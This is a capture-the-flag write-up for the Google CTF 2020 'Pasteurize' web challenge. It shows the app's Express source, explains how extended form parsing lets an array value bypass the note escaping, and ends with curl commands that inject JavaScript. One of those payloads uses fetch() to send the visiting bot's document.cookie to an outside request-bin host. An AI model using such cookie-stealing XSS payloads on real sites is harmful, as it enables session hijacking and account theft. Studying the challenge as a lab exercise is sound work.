Rating:

# Pasteurize (Web)

## Introduction

This beginner challenge comes with the following instructions:

> This doesn't look secure. I wouldn't put even the littlest secret in here. My source tells me that third parties might have implanted it with their little treats already. Can you prove me right?

> https://pasteurize.web.ctfcompetition.com/

The URL leads to a paste-sharing web application:

![Initial screen](img/home.png)

After submitting some input ...

![Some input](img/home-input.png)

... we are redirected to https://pasteurize.web.ctfcompetition.com/96eaf657-15c6-49f9-9c56-396bdc4fec88:

![A note](img/note.png)

Note that the `onload`-attribute is sanitized to prevent cross-site scripting attacks.

By submitting an `` tag with a URL we control and clicking on "share with TJMike", we observe that there is a second IP address making a request. Thus, it is clear that the goal of this challenge is to find an XSS attack vector in order to extract the flag from TJMike.

## Observations

The source code reveals how the input is parsed and displayed:
```html
$ curl https://pasteurize.web.ctfcompetition.com/96eaf657-15c6-49f9-9c56-396bdc4fec88

<html>

<head>
<link href="/static/styles/style.css" rel="stylesheet">
<link rel="stylesheet" href="/static/styles/bootstrap.css">
<script src="/static/scripts/dompurify.js"></script>
<script src="/static/scripts/captcha.js"></script>
</head>

<body>

...

<div class=container>
<div class="container pt-5 w-75">

<div class=card>
<div class="card-header">

</div>
<div class="card-body">
<div id="note-content"></div>
</div>

...

</div>



<script>
const note = "Hello \x3Cimg src=\"http://example.com\" onload=\"alert()\"\x3E";
const note_id = "96eaf657-15c6-49f9-9c56-396bdc4fec88";
const note_el = document.getElementById('note-content');
const note_url_el = document.getElementById('note-title');
const clean = DOMPurify.sanitize(note);
note_el.innerHTML = clean;
note_url_el.href = `/${note_id}`;
note_url_el.innerHTML = `${note_id}`;
</script>

...

</body>

</html>
```

The "TODO: Fix b/1337 in /source that could lead to XSS" comment suggests a potential XSS vulnerability and points to https://pasteurize.web.ctfcompetition.com/source:

```javascript
$ curl https://pasteurize.web.ctfcompetition.com/source
const express = require('express');
const bodyParser = require('body-parser');
const utils = require('./utils');
const Recaptcha = require('express-recaptcha').RecaptchaV3;
const uuidv4 = require('uuid').v4;
const Datastore = require('@google-cloud/datastore').Datastore;

/* Just reCAPTCHA stuff. */
const CAPTCHA_SITE_KEY = process.env.CAPTCHA_SITE_KEY || 'site-key';
const CAPTCHA_SECRET_KEY = process.env.CAPTCHA_SECRET_KEY || 'secret-key';
console.log("Captcha(%s, %s)", CAPTCHA_SECRET_KEY, CAPTCHA_SITE_KEY);
const recaptcha = new Recaptcha(CAPTCHA_SITE_KEY, CAPTCHA_SECRET_KEY, {
'hl': 'en',
callback: 'captcha_cb'
});

/* Choo Choo! */
const app = express();
app.set('view engine', 'ejs');
app.set('strict routing', true);
app.use(utils.domains_mw);
app.use('/static', express.static('static', {
etag: true,
maxAge: 300 * 1000,
}));

/* They say reCAPTCHA needs those. But does it? */
app.use(bodyParser.urlencoded({
extended: true
}));

/* Just a datastore. I would be surprised if it's fragile. */
class Database {
constructor() {
this._db = new Datastore({
namespace: 'littlethings'
});
}
add_note(note_id, content) {
const note = {
note_id: note_id,
owner: 'guest',
content: content,
public: 1,
created: Date.now()
}
return this._db.save({
key: this._db.key(['Note', note_id]),
data: note,
excludeFromIndexes: ['content']
});
}
async get_note(note_id) {
const key = this._db.key(['Note', note_id]);
let note;
try {
note = await this._db.get(key);
} catch (e) {
console.error(e);
return null;
}
if (!note || note.length < 1) {
return null;
}
note = note[0];
if (note === undefined || note.public !== 1) {
return null;
}
return note;
}
}

const DB = new Database();

/* Who wants a slice? */
const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)
.replace(/</g, '\\x3C').replace(/>/g, '\\x3E');

/* o/ */
app.get('/', (req, res) => {
res.render('index');
});

/* \o/ [x] */
app.post('/', async (req, res) => {
const note = req.body.content;
if (!note) {
return res.status(500).send("Nothing to add");
}
if (note.length > 2000) {
res.status(500);
return res.send("The note is too big");
}

const note_id = uuidv4();
try {
const result = await DB.add_note(note_id, note);
if (!result) {
res.status(500);
console.error(result);
return res.send("Something went wrong...");
}
} catch (err) {
res.status(500);
console.error(err);
return res.send("Something went wrong...");
}
await utils.sleep(500);
return res.redirect(`/${note_id}`);
});

/* Make sure to properly escape the note! */
app.get('/:id([a-f0-9\-]{36})', recaptcha.middleware.render, utils.cache_mw, async (req, res) => {
const note_id = req.params.id;
const note = await DB.get_note(note_id);

if (note == null) {
return res.status(404).send("Paste not found or access has been denied.");
}

const unsafe_content = note.content;
const safe_content = escape_string(unsafe_content);

res.render('note_public', {
content: safe_content,
id: note_id,
captcha: res.recaptcha
});
});

/* Share your pastes with TJMike? */
app.post('/report/:id([a-f0-9\-]{36})', recaptcha.middleware.verify, (req, res) => {
const id = req.params.id;

/* No robots please! */
if (req.recaptcha.error) {
console.error(req.recaptcha.error);
return res.redirect(`/${id}?msg=Something+wrong+with+Captcha+:(`);
}

/* Make TJMike visit the paste */
utils.visit(id, req);

res.redirect(`/${id}?msg=TJMike?+will+appreciate+your+paste+shortly.`);
});

/* This is my source I was telling you about! */
app.get('/source', (req, res) => {
res.set("Content-type", "text/plain; charset=utf-8");
res.sendFile(__filename);
});

/* Let it begin! */
const PORT = process.env.PORT || 8080;

app.listen(PORT, () => {
console.log(`App listening on port ${PORT}`);
console.log('Press Ctrl+C to quit.');
});

module.exports = app;
```

There are multiple measures in place to stop XSS attacks:
* Angle brackets are converted to "safe" characters
* Paste contents are sanitized with [DOMPurify](https://github.com/cure53/DOMPurify), preventing inline JavaScript code

## Exfiltration

While it is unclear what "Fix b/1337" refers to exactly, the source code reveals an important security flaw:

```javascript
/* They say reCAPTCHA needs those. But does it? */
app.use(bodyParser.urlencoded({
extended: true
}));

...

const note = req.body.content;
if (!note) {
return res.status(500).send("Nothing to add");
}
```

The [Express documentation](http://expressjs.com/en/resources/middleware/body-parser.html) explains:
> extended

> The extended option allows to choose between parsing the URL-encoded data with the querystring library (when false) or the qs library (when true). The “extended” syntax allows for rich objects and arrays to be encoded into the URL-encoded format, allowing for a JSON-like experience with URL-encoded. For more information, please see the qs library.

Pastes can be created with this minimal cURL:
```bash
$ curl -X POST -d "content=Hello+world!" https://pasteurize.web.ctfcompetition.com/
Found. Redirecting to /b9324f5c-b4e6-4345-9900-7c9ec4131333
```

Empty pastes are blocked:
```bash
$ curl -X POST -d "content=" https://pasteurize.web.ctfcompetition.com/
Nothing to add
```

After reading up on the [qs](https://www.npmjs.com/package/qs) library, we observe the following behavior:
```html
$ curl -X POST -d "content[]=" https://pasteurize.web.ctfcompetition.com/
Found. Redirecting to /78246dc4-e631-456c-a8e0-eb56f3429330

$ curl https://pasteurize.web.ctfcompetition.com/78246dc4-e631-456c-a8e0-eb56f3429330
...
<script>
const note = """";
...
```

This enables our XSS attack vector:
```html
$ curl -X POST -d "content[]=;alert('XSS');" https://pasteurize.web.ctfcompetition.com/
Found. Redirecting to /9b12b762-9440-40e7-8476-bb3606ad27ed

$ curl https://pasteurize.web.ctfcompetition.com/9b12b762-9440-40e7-8476-bb3606ad27ed
...
<script>
const note = "";alert('XSS');"";
...
```

After some trial and error, we observe that the cookie is contained in TJMike's cookie. We will use [PTS](https://ptsv2.com/) to extract it. Note that we have to convert "+" to "%2b".
```bash
$ curl -X POST -d "content[]=;fetch('https://ptsv2.com/t/xxxxx-xxxxxxxxxx/post?c='%2bdocument.cookie);" \
https://pasteurize.web.ctfcompetition.com/
```

After sharing paste with TJMIke, we can finally extract his cookie using PTS:

![TJMIke's cookie](img/pts.png)

Flag: `CTF{Express_t0_Tr0ubl3s}`

Original writeup (https://github.com/weibell/ctf-google2020/tree/master/pasteurize).